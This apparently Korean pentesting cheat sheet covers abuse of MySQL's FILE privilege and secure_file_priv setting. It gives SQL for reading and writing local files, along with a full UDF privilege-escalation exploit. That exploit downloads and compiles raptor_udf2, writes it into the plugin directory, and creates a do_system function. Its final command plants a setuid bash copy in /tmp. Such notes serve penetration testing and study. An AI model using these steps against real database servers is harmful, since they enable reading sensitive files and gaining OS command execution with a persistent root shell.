File Permission
FILE권한이 있을 때 로컬 파일Read/Write가 가능하다. 공격자는 이를 로컬 시스템의 민감한 파일을 읽거나, 웹쉘 업로드 등으로 악용할 수 있다.- 단,
FILE권한과 실제 호스트의 파일/디렉토리 접근 권한은 별개이다. 실제 시스템 상에서 접근권한까지 있어야 파일을 읽거나 쓸 수 있다. secure_file_priv옵션으로 인해 제한받는 경로가 있는지 확인해 볼 필요가 있다.
secure_file_priv
- 파일의 읽기/쓰기 경로를 제한하는 조건
secure_file_priv = NULL -> 파일 읽기/쓰기 불가
secure_file_priv = '/path/to/' -> /path/to/ 디렉터리만 읽기/쓰기가 가능하다
secure_file_priv = ''(공백) -> 따로 제한하는 경로가 없다. (모두 가능하다) Command
# 현재 보유한 권한 확인
SELECT privilege_type, grantee FROM information_schema.user_privileges;
# secure_file_priv 설정값 확인 (두 가지 방법)
SHOW VARIABLES LIKE 'secure_file_priv';
SELECT variable_value FROM information_schema.global_variables WHERE variable_name="secure_file_priv";
# 파일 읽기
SELECT LOAD_FILE('/path/to/file');
# 파일 쓰기
SELECT "example" INTO OUTFILE("C:\\path\\to\\file.txt");UDF exploit
- UDF(사용자 정의 함수)로 시스템 커맨드를 실행하는 함수를 만들어 MySQL 프로세스 동작 주체의 권한으로 명령어를 실행하는 것
UDF exploit 조건
- DB 계정에
FILE권한 보유 - DB 계정에
CREATE FUNCTION권한 보유 secure_file_priv미설정 혹은plugin_dir에 파일 쓰기 가능
UDF exploit
- exploit 다운로드 EDB_1518
searchsploit -m 1518
mv 1518.c raptor_udf2.c- 컴파일하여 준비 :
raptor_udf2.so
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc- mysql 연결 후 UDF 생성
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';/usr/lib/mysql/plugin/폴더(plugin_dir)에 쓰기 권한이 있어야함. (MySQL 5.7.6+부터secure_file_priv기본값이 특정경로로 설정됨)- plugin_dir 확인:
SELECT @@plugin_dir;
- 커맨드 실행
select do_system('cp /bin/bash /tmp/bash && chmod +s /tmp/bash');